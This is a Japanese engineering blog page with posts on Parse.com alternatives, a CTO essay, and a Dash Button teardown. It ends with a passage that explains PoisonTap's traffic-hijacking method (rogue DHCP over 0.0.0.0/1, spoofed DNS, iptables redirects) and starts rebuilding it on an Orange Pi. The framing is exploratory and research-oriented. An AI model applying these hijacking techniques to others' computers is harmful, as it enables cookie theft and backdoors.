2017年01月20日

さよなら Parse

はてなブックマークに登録

はじめに

世界中の利用者の指先と視線を凝固させた突然の発表からまもなく 1年、Parse.com の全サービスが いよいよ 2017年1月28日(土)に終了します。拡張性が高く高機能でありながら使い勝手の良い優れたサービスだったので終息が惜しまれます。

      https://parse.com/

手元では 2年ほど前に IoT の実験として試作した以下のしくみ「Anpi」で Parse.com を採り入れました。

  • mbed と Parse で作る高齢者世帯安否確認システム - 当ブログ
    一般に BaaS の主な目的はアプリケーションの対向サーバ側機能を代替・補完することにあり、サーバの管理運用やサーバ側コード開発に踏み込むコストを抑制しアプリ本体の開発に注力可能となることが利用者にとってのメリットですが、Parse にはサーバ上でユーザコードを実行することのできる「Cloud Code」というしくみが用意されています。(中略)今回作った装置は Parse サーバ上に設置した自作コードをそのまま呼び出して必要な処理を行っています。このように目的に応じて柔軟に利用できることが Parse の魅力のひとつと言ってよいでしょう。
この「Anpi」はシンプルながら実用性が高く現在もプライベートで大いに役立っています。そのためすでに Parse.com からの乗り換えを完了していますが、移行の過程で複数のプラットフォームを対象として再実装を横断的に試してみました。今後必要となった際にスムースに想起できる道具立ての選択肢は多いほうが好ましく、今回のように具体的な要件があればその実装を通じて未体験のサービスの特徴や個性を見定めやすいと考えたためです。この記事はそういった試みの記録で、日本国内ではまだ知名度の低いものにも触れています。興味のある方はご覧下さい。

※文中の記述はいずれも 2016年11月から12月の時点の状況に基づくものであり現在の事情とは異なる可能性があります。あらかじめご了承下さい。

手元の要件と移行先選定基準

「Anpi」において Parse.com サイドで行っていた処理は以下の内容です。

  • 屋内に設置ずみの装置が人感センサ反応時に最短 30 分間隔で送信してくる情報をデータストアへ保存
  • 定刻に直近 60 レコード分をレポートとして所定のアドレスへメール送信
  • 装置につないだボタンが長押しされたら所定のアドレスへメールで通知(緊急メール)
  • メール配信には Parse.com が 公式 API で連携している Mailgun サービスを利用

要件に特に煩雑なものはなくこれらを吸収可能なサービスはいくつも存在するでしょう。その上で、今回は次の三点を移行先選定の基準とすることにしました。

  • 運用に手がかからないこと
  • 柔軟性があること
  • 費用がかからないこと
絵に描いたようなユーザエゴではありますが、当時 Parse.com を選んだ理由はこれらのすべてを満たしていたためでもあります。予備調査を経て次のサービス・プラットフォームを検討の対象としました。

  1. IFTTT + Google Drive + Google Apps Script
  2. Kii Cloud
  3. back4app(+ AWS Lambda)
  4. Backand

なお、要件のうち「緊急メール」の発信については以前「今、ワンボタンの IoT デバイスが面白い」でも利用した SendGrid サービスの API を装置側のコードから直接叩くことにしました。メールの内容は決め打ちなので各サービスに仲介させるよりもそのほうが合理的と考えたためです。

以下、上のよっつを順番にピックアップしてみます。

移行先候補 1: IFTTT + Google Drive + Google Apps Script

もっともシンプルに要件を満たす道具立てとしてまず IFTTT と Google サービスの組み合わせを考えました。IFTTT 経由で Google Drive 上の Spreadsheet をデータストアとして利用し Google Apps Script でサーバサイドの処理を実行する内容です。

仮移行を通じての * 個人的な * 印象

GOOD !

  • シンプルかつ柔軟
  • Google, IFTTT ともに今後課金の発生する可能性がきわめて低い
  • Google, IFTTT ともに今後サービスが終息する可能性がきわめて低い
  • コードを含めすべてをブラウザ上で操作できるため運用上の自由度が高い
! GOOD ?

  • 今回の要件には十分だが規模の大きいデータを扱うには不向き
  • あくまでも SaaS とハブサービスの組み合わせであるため当然ながらプッシュ通知など一般的な IoT プラットフォームの提供する機能は代替できない

移行先候補 2: Kii Cloud

Kii CloudKii 株式会社様の提供する日本発の BaaS です。

仮移行を通じての * 個人的な * 印象

GOOD !

  • 多機能かつ無料枠が広い
  • Parse.com と同様に BaaS でありながらサーバ機能拡張が可能
  • サーバのリージョンを自由に選択可能であり特に中国リージョンの存在は大きい
  • キーバリュー形式のデータは使用容量にカウントされないため他のサービスとの併用にも好適か
  • アクセス制御機能が充実
  • 日本語のリソースが充実している

! GOOD ?

  • ドキュメントの情報量は豊かだが通読性がもうひとつ?リンクの張り方にも改善の余地がありそうな印象(このあたりが改善されればより利用しやすくなるかも)
  • 開発者ポータルは UI・機能ともに今後の進化が期待される
  • 開発用のコマンドラインツールが Node.js ベースなのは利点と欠点が半々くらい? バッチジョブのスケジュール変更といった操作はブラウザ上でできると嬉しい・・

移行先候補 3: back4app(+ AWS Lambda)

back4appBACK4APP SERVICOS DIGITAIS LTDA(本社 米カリフォルニア)の提供する BaaS です。

仮移行を通じての * 個人的な * 印象

GOOD !

  • 無料枠が広い
  • 最初から Parse.com の代替用として起ち上げられたサービスであるため Parse.com との親和性が高く移行が相対的に容易
  • UI, ドキュメントがわかりやすい

! GOOD ?

  • 記事中のジョブ設定の問題など現時点では荒削りな側面も見られる
  • Parse.com を継承するサービスとしては良好だが、逆にそのことが独立した BaaS としての新鮮味や個性の発露を削いでいる印象も?

移行先候補 4: Backand

BackandModuBiz Ltd(本社イスラエル Tel Aviv)の提供する BaaS です。

仮移行を通じての * 個人的な * 印象

GOOD !

  • 多機能かつ拡張性に優れている上に非常に使いやすい
  • テスト・デバッグ機能も充実しており UI もわかり易い
  • ファイルホスティングまわりの操作以外はすべてブラウザ上で完結できるため機動性が高い
  • ユーザビリティでは今回の中で一番。あとは可用性とスケーラビリティ次第か

! GOOD ?

  • 無料枠の狭さが残念。また、Prototype Plan $0 -> Hobby Plan $19/月 -> Work Plan $49/月 ... といった大きめの料金差に比して待遇差が小さめ
  • 運営側の内部的な指標である「Cache Memory」「Compute Units」のように利用者が客観的に把握することの困難な指標がプランの基準に含まれているため利用目処を立てにくい(むしろ、利用するならはじめから UNLIMITED な料金プランを選ぶべき)
  • 日本のみならず国外でもまだあまりメジャーではなく相対的に情報量がとても少ない。優れたサービスであるにもかかわらず世間への浸透圧が低い一因は上の料金体系にもあるのではないか?

おわりに

手元要件の Parse.com からの移行にあたり以上よっつの環境を試してみました。最終的にこの中のひとつを「Anpi」の乗り換え先に決定して現在に至ります。当初はどれを選んだのかを書くつもりでしたが無粋にも思いやめておくことにしました。いずれも質の高いサービスでそれぞれに十分なメリットがあります。

ほんの10年ほど前には影もなかったものが日進月歩で進化していく状況にリアルタイムで向き合っていると10年後の世界への想像が膨らみます。この時代の傍らを去っていく Parse.com をユーザのひとりとして敬意と感謝の念をもって見送りたいと思います。


(tanabe)

klab_gijutsu2 at 14:26
この記事のURLComments(0)TrackBack(0)cloud | IoT
2016年12月25日

CTOの独り言

はてなブックマークに登録

このエントリーは、KLab Advent Calendar 2016 の12/25 の記事です。
最終日の担当はCTOの安井です。

今年のアドベントカレンダーもテーマが多岐に渡っていてとても興味深いです。
ゲームに関係ありそうなものから関係なさそうなものまで盛りだくさんですね。

KLabでは業務と直接関係のない開発活動も積極的に推奨しています。 これには、自分が得意とする分野、興味のある技術に対して全力で取り組んで欲しいという願いがあります。好きなことに全力で取り組んで結果を残すことができるエンジニアは、様々な場面において高いアウトプットを出してくれることが多いものです。

社内ではよく「市場価値の高いエンジニアを目指そう」という言い方をしています。 エンジニアが安心して仕事を続けるためには「自分の実力に自信を持てること」がとても重要なことだと考えています。いくら上司から高い評価を得ていても、いくら業績に貢献していても、社内のモノサシだけで評価されている限り、自分の実力が世の中で通用するのか、今の仕事を続けていてスキルアップできるのかなど、様々な不安にかられてしまうことがあるものです。

そのような不安を少しでも払拭できるように、社外のコミュニティに関わる事を推奨しています。勉強会などで登壇させてもらうのも良いですし、既存のOSSプロダクトにパッチを送ってみたり、自分でプロダクトを立ち上げるのも良いですね。今はブログやQiitaやgithubなどで気軽に技術情報を共有できたりボタン一発で作者にパッチを送ることができる時代ですので、既に多くの方は既に実践されているでしょうし、これから始める方にとってもハードルはかなり低くなっていると思います。


ただ、ゲーム開発を通して得られたノウハウや知見の中には、外部に公開できないものも少なからずあります。そのため、社内に閉じたコミュニティや勉強会も用意しており、誰でも自由に発表することができるようになっています。

KLabの社内勉強会は社内への情報共有も目的のひとつですが、社外へ公開する前のレビューとしての役割があったり、自分の活動を理解してもらうためのプレゼンの練習の舞台でもあったり、誰がどんな活動をしているのかを知ることができる場としても活用されています。

なにかしらの方法で自分の実力が世の中に評価される機会があれば、それは自信に繋がりますし、自分が何をしたいのか、どんな方向に進みたいのかの道筋が見えるきっかけになるかもしれません。その結果、現在の仕事が自分のためになっているのかを客観的かつ冷静に判断できるようにもなるでしょう。

エンジニアの皆さんには「自分はどこの会社でもやっていける」と思えるくらいの自信とプライドを持って欲しいです。そして「自分の力を会社に貸してやるか」くらいの気持ちで働いて欲しいと思っています。会社は「給料分だけ働いてくれればいい」とは決して思っていませんし、「給料分は働かなきゃいけない」と思いながら働いて欲しくもありません。自分の腕を磨き、価値を高め、実力に見合った報酬を受け取ることが、良い仕事をするための条件であり、年齢を重ねても技術者であり続けるために必要なことだと私は考えます。


と、ここまでなんだかんだで好き放題言ってみましたが、実際の現場で理想ばかり掲げているわけにはいかないものです。みんながみんな好きなことだけやってたら仕事は進みませんので・・・

会社が成長するには事業を継続して拡大させていく必要があるわけで、現在のKLabの主力事業はゲームです。ゲームの開発と運営を円滑に進めるには、多くの方々に様々な役割を担っていただかなければなりません。

プロジェクトにおいてエンジニアの役割やタスクを決定するのはマネージャです。
マネージャの役割はプロジェクトを円滑に進めることです。

プロジェクトを円滑に進めるには「できる事をできる人にお願いする」のが最も効率が良いものです。同じ事を同じ人にお願いする事で、スケジュールの遅延や予算超過などのリスクを低減させることができますし、品質の向上も期待できます。それになにより「できないかも?」という不安を抱えなくてよくなることが大きな魅力となります。

ただその反面、同じことの繰り返しは本人のモチベーションを下げてしまったり、ノウハウが一部のメンバに偏ってしまうなどの問題があるので、マネージャは「これまでの経験を活かした仕事」と「新しい仕事にチャレンジする機会」をバランス良く振り分ける事に頭を悩ませます。

社員の成長なくして会社は成長できないことはマネージャは十分に理解しています。 エンジニアに新しいことにチャレンジして欲しい場面では、マネージャはこれまでの成果や面談内容などをベースにして検討しますが、本人がどんな分野に興味があり、業務以外でどのような活動をしているのかを知る事で検討の幅は大きく広がります。先に書いたように、業務に縛られず、自由に自身の活動を社内外に公開することを推奨しているのは、このような狙いもあるからです。


もし「自分の時間なんて全然取れない!仕事してるだけで精一杯だ!」と感じている人がいたら是非アラートを上げて欲しいです。エンジニアのキャパシティを把握するのもマネージャの大事な仕事です。そのためには、多少の無理を承知の上でタスクを割り当てることもあります。自分のキャパを超える仕事が与えられた時には遠慮なく相談しましょう。そして自分のキャパを正しく理解してもらいましょう。できない事を「できない!」というのは恥でもなんでもありません。こっそりと自分の時間を潰してストレスを溜めるくらいなら、仕事の量を調整してもらえるように交渉することもエンジニアの大事な役割です。


つらつらと取り留めのない内容になってしまいましたが、普段社内で喋っていることを文章にしてみました。何度も聞かされてる人にとっては耳タコかもしれませんが、普段交流できていない方々も結構いますので(ごめんなさい)、KLabのCTOはこんなこと考えてるんだよぉってのを少しでも知って頂ければありがたいかなと思います。


klab_gijutsu2 at 00:00
この記事のURLComments(0)TrackBack(0)
2016年12月22日

新しい Amazon Dash Button に「マイク」が残されている理由

はてなブックマークに登録

昨年以下の記事でピックアップした「Amazon Dash Button」が 2016年12月5日に日本国内でもリリースされ話題を集めています。

Amazon.co.jp での販売開始からほどなく Button の多くが品切れとなり 12月22日現在も入荷待ちの状態が続いています。 このデバイスを実質無料で配布する巨大多国籍企業 Amazon のパワーは凄まじいですね。

新旧 Dash Button の違い

現在提供されている Dash Button は 2015年に米国でデビューしたオリジナルとは異なるものです。上のブログ記事でも触れた Matthew Petroff 氏のサイトには新旧 Button それぞれについて詳細かつ網羅的な興味ぶかい記事が掲載されています。

The Amazon Dash Button it an Internet connected button that allows ordering a single product from Amazon.
           :
Others have already posted about disassembling it, so I’ll focus mostly on the electronics, since the aforementioned blog posts are missing high-resolution images of thecircuit board and don’t quite get some details correct.
Amazon updated the Dash Button’s hardware to revision two earlier this year, so I decided it was time for a new teardown (here’s last year’s teardown). The new product number is JK29LP; the old product number is JK76PL. While the form factor and case remained much the same, the internals changed substantially. The major highlights are a switch from Broadcom to Atmel chips, a switch from an Energizer lithium battery to a Duracell alkaline battery, and the addition of Bluetooth Low Energy.
           :

Overall, the new Dash Button appears to be a revision designed to reduce production cost, centered around a reduction in energy usage, which allows for use of a considerably cheaper, alkaline battery.
同氏の記事を参考にしながらまず新旧 Button の主な違いを整理してみます。
(※余談ながら、同じ記事に注目した数日前の GIGAZINE さんの記事に先ほど気がつきましたが、特にぶつかるものでもないため草稿の内容のまま書くことにします)

電源がリチウム一次乾電池からアルカリ乾電池に

旧 Dash Button には単四型リチウム一次乾電池が内蔵されていました。

http://dsas.blog.klab.org/archives/52233150.html

ちなみに Amazon Dash Button は 米エナジャイザー社Ultimate Lithium 乾電池 単4形 (二次電池ではない)1本を内蔵している。アルカリ電池に比べ「最大 9倍長持ち」を惹句とする 現時点でおそらく最強の乾電池。

データシートによると Ultimate Lithium AAA は「Max Discharge: 1.5 Amps Continuous, 2.0Amps Pulse (2 sec on / 8 sec off)」と高容量

現在の Dash Button ではこの高価な電池に代えて米デュラセル社の単四型アルカリ乾電池が使用されています。
旧:Energizer Ultimate Lithium AAA Battery
新:Duracell Ultra AAA Alkaline Battery
https://mpetroff.net/
(2016-12-14 時点での両者の小売価格の例) 電池交換は新 Button においても不可であるため上記の変更が使用寿命に及ぼす影響が気になりますが、Petroff 氏による新旧両 Button の消費電流実測結果(下グラフ:目盛幅の違いに注意)によればスリープ状態では新 Button が 2.0μA以下、旧 Button が 2.3μA以下と前者のほうが良好であり、また、ボタン押下後のアクティブ状態においては新 Button のほうがおおむね 10%前後レベルが高いものの処理を完了し再度スリープするまでの所要時間は旧 Button の半分以下と、電源仕様の変更に伴い電力消費を抑制する作りに変更されている様子が窺えます。
https://mpetroff.net/

マイクロコントローラ / Wi-Fi チップの変更, BLE チップ追加, Flash メモリ容量増加

新 Button では、以前の ST マイクロエレクトロニクス社製マイクロコントローラ STM32F205 が Atmel 社(2016年4月より Microchip Technology 傘下)製 ATSAMG55J19A-MU に、Broadcom 社製の Wi-Fi モジュール BCM943362WCD4 WICED が Atmel 社製 ATWINC1500B に変更されています。一方で 新 Button の Flash メモリは倍容量の 32Mビットに増強されており、また、旧 Button には存在しなかった BLE チップがセットアップ用に追加されています。これら一連の構成要素の変更は性能強化とコストダウンの両立を目的とした判断の結果と考えられます。


U5) マイクロコントローラ:ST STM32F205
U9) Wi-Fi モジュール:
Broadcom BCM943362WCD4 WICED
U6) フラッシュメモリ: Micron M25P16 (16Mbit)
マイクあり


U1) マイクロコントローラ:Atmel ATSAMG55J19A-MU
U19) Wi-Fi チップ:Atmel ATWINC1500B
U22) BLE チップ:Cypress CYBL10563-68FNXI
U15) フラッシュメモリ: Micron N25Q032 (32Mbit)
マイクあり
https://mpetroff.net/

セットアップ方法の変更

新旧 Button はセットアップの方法が異なります。Android または iOS 端末と公式ショッピングアプリを利用する点は共通ですが、新版が同アプリと Button との応酬に BLE 通信を使う内容であるのに対し、旧版では Android 環境では Wi-Fi 通信、iOS 環境では超音波通信を利用する仕様でした。ちなみに、旧版では Fire Phone もセットアップに利用することが可能でした。

旧 Dash Button のセットアップ

web.archive.org に旧 Button のセットアップ手順説明ページのキャッシュが残っています。 この内容から、ボタン長押しにより移行するセットアップモードにおいて旧 Button がダミー Wi-Fi アクセスポイント 兼 音声情報のリスナーとして振る舞っていたことがわかります。

※下の図は上記キャッシュの iOS 端末向けの説明箇所からの抜粋
※動画は旧版のセットアップの様子(Youtube 2015ー08-06 投稿, iPhone)3分20秒あたりから


http://www.amazon.com/
https://youtu.be/NSrdo5oNzsI?t=203
Android 端末を使ったセットアップに Dash Button のダミー Wi-Fi アクセスポイントへの一時的な切り替えが利用されている一方で iOS 端末でのセットアップに音声信号が採用されたのは JailBreak しない限り接続先の Wi-Fi アクセスポイントをプログラムから変更不可であることに起因するもののようです。

新 Dash Button のセットアップ

BLE チップが搭載された新 Button ではセットアップ時の公式アプリとの応酬に BLE 通信が利用されています。

この変更によって Android / iOS プラットフォームでの手順が統一されシンプルでスマートになった反面、旧版では特に言及されていなかった対象 OS バージョンが「iOS 8.3 or higher, Android 4.1 or higher」に限定される形となりました。また、BLE 非対応の Fire Phone(2015年下期販売終了)も手順説明から消えています。

現在の Dash Button セットアップ手順説明ページ

画面遷移

1
2
3
4
5
6
7
8
9

新 Dash Button にマイクが残されている理由

旧 Button が iOS 端末でのセットアップ時に音声信号を利用するためにマイクロフォンを内蔵していたことは理解できます。では、なぜ BLE 通信を利用する新 Button にもマイクが残されているのでしょう?使わない部品であれば製造コスト削減のためにも撤去するほうが合理的なはずです。まさか Amazon が何か良からぬことを企んでいるのでしょうか?

前掲の手順説明ページを読んでいるうちにふと以下の記述が気になりました。

Note: Some Dash Buttons and phones do not support Bluetooth connections. If your phone does not connect to your button, select Skip Bluetooth Setup. Then, follow the instructions in the app. Your phone then uses other connection options.
注: スマートフォンとDash Buttonが接続されない場合は、 Bluetoothをスキップを選択します。次に、アプリの画面に 表示される手順に従います。

公式アプリが Button と BLE 接続を確立できない場合はどのような所作となるのでしょう?興味を感じ試してみることにしました。

BLE 接続不可の状況を再現するもっとも簡単な方法は「Button からの BLE アドバタイジングを発生させない」ことです。つまり、アプリに求められたタイミングでわざと Button のセットアップモードを起動せずそのまま放置しておけばよいでしょう。

結論として、アプリは BLE 接続をしばらく試行した後に自動的に旧 Button でのセットアップシーケンスへ移行することがわかりました。 BLE 接続を諦めると、Android 版アプリは Button のダミー AP へ Wi-Fi 接続の切り替えを試み、iOS 版アプリは端末のスピーカーへ Button を接近させることを利用者へ促します。そのタイミングで新 Button をセットアップモードで起動すると旧スタイルでのセットアップ処理が滞りなく行われます。

つまり、新 Button のセットアップモードは旧 Button でのそれと同一の I/F を備えています。この実装は、BLE の利便性を取り入れつつも間口の広い旧版での機構を温存することによりセットアップ段階でのトラブルを可能な限り吸収することに加え、旧 Button - 新アプリ間の互換性をシンプルに保つことを目的とするものと考えられます。

Android, iOS 端末それぞれでこの操作を行った様子の動画を以下に示します。

  • 新 Button を旧スタイルでセットアップ - Android 版(2分9秒 環境音あり)
  • 新 Button を旧スタイルでセットアップ - iOS 版(1分33秒 環境音あり)
なお、アプリは「端末の Bluetooth 機能が OFF の場合」に以下のメッセージを表示します。ここで Android 版では「拒否」、iOS 版では「Bluetooth をスキップ」を選択することで同様に旧スタイルのセットアップシーケンスへ移行することを確認しました。
Andorid 版
iOS 版

図のように iOS 版に関しては本項の冒頭に引用した英語版の説明記事とほぼ整合しますが、日本語版記事は翻訳が十分ではなく(意図的なもの?)、また、Android ユーザが記事中のメッセージを目にする機会はありません。

米国内にのみ存在する旧 Button は電池寿命で徐々に消えていく過程にあります。また、BLE 非対応の端末も次第に世間から姿を消していくことでしょう。上に掲げた現 Dash Button の二段構えのセットアップ I/F はあるいは過渡的なものかもしれません。


(tanabe)
klab_gijutsu2 at 14:41
この記事のURLComments(0)TrackBack(0)IoT 
2016年12月19日

USBポートに挿すだけでインターネット接続を乗っ取るガジェットを作ってみた

はてなブックマークに登録

このエントリーは、KLab Advent Calendar 2016 の20日目の記事です。

煽り気味のタイトルですみません。少し前に話題になった「PoisonTap」に興味を惹かれ、どうやって動作しているのかを調べて、実際に手元で組み上げてみましたというお話です。(今回は半田ごては使いません)

先日、5V電源が欲しくて同僚にUSBポートを借りようとしたら全力で拒否されました。USBも気軽に挿してもらえない世の中じゃ... @pandax381 です。

*** 本記事の内容は技術的な検証を行うことが目的であり、迷惑行為や犯罪行為を推奨するものではありません ***

PoisonTap とは?

PoisonTap とは、1ヶ月ほど前に Samy Kamkar 氏が公開して話題になったクラッキングデバイスです。

Raspberry Pi Zero をベースにしたデバイスから伸びた USB ケーブルをコンピュータに接続しただけで、対象のコンピュータからクッキーを盗み出したりバックドアを仕込んでしまうという代物で、Hacker News などで取り上げられて話題になりました。

This $5 Device Can Hack your Password-Protected Computers in Just One Minute - The Hacker News

同氏が公開している動画の中では、アンロックされた状態のコンピュータに接続していますが「パスワードロックされた状態」であっても「1分」でクラック可能と謳っているところを見ると、なかなか凶悪なデバイスであることがわかります。

なお、PoisonTap に関する詳細な情報は作者のWebサイトで公開されており、ソースコードも GitHub で公開されています。

なにをやっているのか?

PoisonTap が何をしているのか、ものすごく端折って書き出すと以下の3点にまとめられます。

  • USB Ethernet アダプタとして振る舞う(物理レイヤ)
  • ネットワークトラフィックを吸い込む(ネットワークレイヤ)
  • 本来の通信相手になりすまして悪さをする(アプリケーションレイヤ)

これらの要素をもう少し掘り下げて解説します。

USB Ethernet アダプタとして振る舞う

PoisonTap をコンピュータに接続すると USB Ethernet アダプタとして識別されます。これは、Linux が備えている USB Gadget Driver を利用して実現しているようです。USB Gadget Driver は、USB のデバイスコントローラを使って様々な機能を提供するドライバで、イーサネットやシリアル通信、HID、Webカメラ、ストレージなどとして振る舞うことができます。

USB のコントローラには、ホストコントローラとデバイスコントローラの二種類があり、Gadget Driver を利用するためにはデバイスコントローラが必要になります。通常の PC にはホストコントローラしか搭載されていませんが、スマホや組み込みボードなどには、ホストにもデバイスにもなれる「USB OTG(On-The-Go)」に対応した MicroUSB のポートが搭載されていることが多く、PoisonTap も Raspberry Pi Zero の OTG 対応 MicroUSB ポートを利用しています。

USB Gadget Driver のイーサネット機能は、本来は Raspberry Pi Zero のようにネットワークインタフェースを持たないデバイスが USB を経由して別のホストと通信するために使われるものですが、PoisonTap はこの仕組みを巧妙に利用しています。

ネットワークトラフィックを吸い込む

PoisonTap は、接続したコンピュータに対して通信相手が PoisonTap がなりすました USB Ethernet アダプタの先に存在していると思い込ませることで、ネットワークトラフィックを吸い込みます。これを実現するために、PoisonTap は以下の動作をします。

  • PoisonTap 内部で稼働している DCHP サーバがアドレスを払い出す
  • DHCP でアドレスを払い出す際に、ルータ&DNS サーバとして自身のアドレスを広告する
  • PoisonTap 内部で稼働しているダミーの DNS サーバが何を聞かれても PoisonTap のアドレスを返す

PoisonTap の内部では DHCP サーバと DNS サーバが動作しています。ホスト側がネットワークの自動設定を行うために DHCPのリクエストを投げるため、これに対して内部で動作している DHCP サーバがレスポンスを返してネットワークのパラメータを流し込みます。この際に、DHCP のレスポンスに含まれるルータおよび DNS サーバのアドレスに PoisonTap 自身のアドレスを設定することで、トラフィックを吸い込もうとしています。

ここで、ある程度ネットワークに関する知識のある方は「こんなんで本当にトラフィックを吸い込めるのか?」と思われることでしょう。僕もすごく疑問だったのですが、結論から言うと「ある条件下では確かにトラフィックを吸い込める」ことが分かりました。

「ある条件下」とは、Mac OSX で(ネットワーク環境設定でインタフェースの優先順位を弄らずに)Wi-Fi のみで接続しているケースです。これまであまり意識したことはなかったのですが、OSX では Wi-Fi のインタフェースよりも有線インタフェースの方が優先されるようで、たとえ Wi-Fi でインターネットアクセス可能な環境で接続していたとしても、後から有線インタフェースが接続されると、有線インタフェース側の設定が適用されるのがデフォルトの動作です。そのため、動画にもあるように Wi-Fi だけで運用している OSX に PoisonTap を接続すると、かなり高い確率でプライマリのネットワークデバイスとして扱われ(DNSサーバやデフォルトゲートウェイの設定が適用されて)トラフィックが PoisonTap 側に吸い込まれてしまいます。

このような OSX の動作は、手動でネットワークインタフェースの優先度を設定することで回避できます。また、Windows ではどのような挙動をするのか試していないのでわかりませんが、もしかしたら OSX とは違う挙動をするかもしれません。それを見込んでか、PoisonTap はトラフィックを吸い込むために後述するような手の込んだことをやっています。

加えて、PoisonTap 内部で動作している DHCP サーバが配布しているアドレスがなかなかに邪悪で、 0.0.0.0/1 のネットワークから払い出されたものです。0.0.0.0/1 のアドレス空間は 0.0.0.0 - 127.255.255.255 であり、これは IPv4 アドレス空間の半分を占めています。ルーティングの際にデフォルトゲートウェイが選択されるのは、ルーティングテーブルにそれを内包するネットワークが存在しなかった場合なので、ネットワークアドレスを 1bit だけでも一致させてしまえばそのパケットのルーティング先を PoisonTap に向けることができるのです。つまり、ネットワークインタフェースの優先順位を手動で設定していたとしても、正規のルーティング処理で PoisonTap 側にパケットが吸い込まれるようにしているのです。

また、この方法で吸い込んだ DNS のリクエストにも応答できるように、パケットキャプチャをしながら、DNSパケットに無差別に応答する dnsspoof という DNS サーバを使っています。さらに、名前解決済みのホストに対する通信パケットを吸い込んだ場合を想定して、iptables で REDIRECT の設定もしています。

本来の通信相手になりすまして悪さをする

アプリケーションレイヤは守備範囲外のため今回の調査の対象外です。

実際に作ってみる

まずはじめに残念なお知らせですが、Raspberry Pi シリーズの場合、Zero 以外では USB Gadget の機能を使えません。何故かというと、B シリーズの USB ポートは USB コントローラに直結されているのではなく、USB HUB を内蔵した Ethernet コントローラを経由して引き出されており、USB コントローラが強制的にホストモードで動作するようになっているためです。(A シリーズはさわったことがないのでわかりませんが、B シリーズと同様にデバイスモードで使えないという情報を目にしました)

デバイスの選定

そんなわけで、手元にある Raspberry Pi 2 が使えないため、代わりのデバイスを調達しなければなりません。Raspberry Pi Zero は $5 と安価なものの、送料が $20 くらい掛かってしまうことと、一人1台の購入制限があるため他の候補を探してみました。

IMG_5291

OTG 対応の MicroUSB ポートを備えた手頃なボードを探していて見つけたのが「Orange Pi One」です。名前もさることながら、チップレイアウトがなかなかにロックですね。(ちなみに最新モデルのチップレイアウトは更に前衛的です)

完全に Raspberry Pi を意識しているわけですが、 衝撃のお値段 $9.99 に対して、Cortex-A7 1.2GHz Quad-Core / 512MB RAM / 100MB Ethernet と、まぁまぁなスペックになっています。GPIO ピンの配列も Raspberry Pi と互換性があると謳っています。ラインナップも豊富で、さらにコンパクトで安価なものから PC 代わりに使えそうなハイスペックなものまでありますが、Wi-Fi や Bluetooth などの無線コントローラを搭載していると技適の問題が出てくるので注意が必要です。

この Orange Pi が搭載してる SoC は「Allwinner」という中国の半導体メーカーのもので、有名どころだと「C.H.I.P.」や「ニンテンドークラシックミニ」などに搭載さています。

セットアップ

Orange Pi のサポートサイトで公式のイメージが配布されていますが、最終更新から一年以上経過していてあまりメンテナンスされていないように見受けられます。(っと思っていましたが、久しぶりに見たら数日前に更新されていました!)

ざっと調べたところコミュニティベースで開発されている armbian というディストリビューションを使うのが良さそうということがわかりました。Orange Pi シリーズや Banana Pi シリーズなどがサポートされています。イメージ配布だけではなく、ビルドのためのツールチェーンも公開されているので、カーネルのリビルドなどにも困らなそうです。

https://www.armbian.com/

「Download > Orange Pi One > Jessie server」と進んで、OS イメージをダウンロードします。

ダウンロードした OS イメージは 7zip で圧縮されているため、OSX の場合には展開するためのツールをインストールする必要があります。

$ sudo brew install p7zip

OS イメージを展開して dd で SDカードに書き込みます。(* dd コマンドの of= に指定するデバイスは環境に合わせて変更してください)

$ mkdir image
$ 7z -o./image x ~/Downloads/Armbian_5.20_Orangepione_Debian_jessie_3.4.112.7z
$ sudo dd if=./image/Armbian_5.20_Orangepione_Debian_jessie_3.4.112.img of=/dev/rdisk2  bs=1m

OS イメージにはブートローダ(U-Boot)など必要なものがすべて含まれているので、書き込み後は Orange Pi に差し込んで電源を入れればブート出来ます。

U-Boot SPL 2016.09-armbian (Sep 15 2016 - 07:19:14)
DRAM: 512 MiB
Trying to boot from MMC1


U-Boot 2016.09-armbian (Sep 15 2016 - 07:19:14 +0200) Allwinner Technology

CPU:   Allwinner H3 (SUN8I 1680)
Model: Xunlong Orange Pi One
DRAM:  512 MiB
MMC:   SUNXI SD/MMC: 0
*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial
Net:   phy interface0
eth0: ethernet@1c30000
Hit any key to stop autoboot:  0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot/boot.scr
2886 bytes read in 158 ms (17.6 KiB/s)
## Executing script at 43100000
gpio: pin PL10 (gpio 298) value is 1
   Warning: value of pin is still 0
gpio: pin PG11 (gpio 203) value is 1
0 bytes read in 114 ms (0 Bytes/s)
** File not found /boot/.next **
** Unrecognized filesystem type **
** File not found .next **
35908 bytes read in 422 ms (83 KiB/s)
3114523 bytes read in 322 ms (9.2 MiB/s)
5025168 bytes read in 469 ms (10.2 MiB/s)
## Loading init Ramdisk from Legacy Image at 43300000 ...
   Image Name:   uInitrd
   Image Type:   ARM Linux RAMDisk Image (gzip compressed)
   Data Size:    3114459 Bytes = 3 MiB
   Load Address: 00000000
   Entry Point:  00000000
   Verifying Checksum ... OK
Using machid 0x1029 from environment

Starting kernel ...

...

Debian GNU/Linux 8 orangepione ttyS0

orangepione login:

root の初期パスワードは「1234」に設定されています。また、初回ログイン時に root のパスワード変更と一般ユーザの作成を行うスクリプトが走るようになっています。最後にネットワークの疎通確認も兼ねて apt のパッケージリストを更新してセットアップ完了です。

# apt-get update

USB Gadget の設定

PoisonTap と同じように USB Ethernet アダプタとして振る舞うために USB Gadget の設定を行います。

PoisonTap は pi_startup.sh というスクリプトの中で USB Gadget の設定を行っていますが、今回これは参考に出来ません。何故かというと、PoisonTap のやり方は configfs + libcomposite を使ったモダンな手法のため、armbian の安定版の kernel 3.4 ではレガシーな方法で設定しなければならないためです。

まず、USB Gadget の Ethernet Driver である g_ether.ko をロードします。

# modprobe g_ether idVendor=0x1d6b idProduct=0x0103 use_eem=0

g_ether.ko がロードされると、Orange Pi 側に usb0 というネットワークデバイスが追加されます。

# ip addr show usb0
4: usb0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether a6:e4:fd:ba:02:d6 brd ff:ff:ff:ff:ff:ff

とりあえず手動でアドレスを設定して起動させます。

# ip addr add 1.0.0.1/1 dev usb0
# ip link set usb0 up
# ip addr show usb0 
4: usb0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
    link/ether a6:e4:fd:ba:02:d6 brd ff:ff:ff:ff:ff:ff
    inet 1.0.0.1/1 scope global usb0

続いて Orange Pi の OTG ポートをデバイスモードに設定します。

